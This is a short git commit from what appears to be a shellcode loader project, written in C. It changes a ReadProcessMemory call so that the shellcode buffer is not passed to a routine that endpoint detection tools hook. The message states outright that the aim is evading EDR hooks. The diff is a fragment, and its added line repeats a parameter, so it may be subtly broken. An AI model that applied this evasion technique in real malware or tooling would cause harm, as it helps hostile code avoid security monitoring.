Use pDummyBuffer instead of pNewBuffer

Use pDummyBuffer instead of pNewBuffer to avoid send malware buffer to NtReadProcessMemory because usually this function is hooked by EDRs
This commit is contained in:
chmod760
2025-11-27 14:23:58 +01:00
parent 3a83dba5fb
commit e7feaad87a
+1 -1
View File
@@ -39,7 +39,7 @@ void* CopyReadProcessMemory(char* shellcode, SIZE_T size) {
ReadProcessMemory(
GetCurrentProcess(),
pNewBuffer,
pDummyBuffer,
pDummyBuffer,
*((BYTE*)shellcode + I),
(SIZE_T*)pDestOffset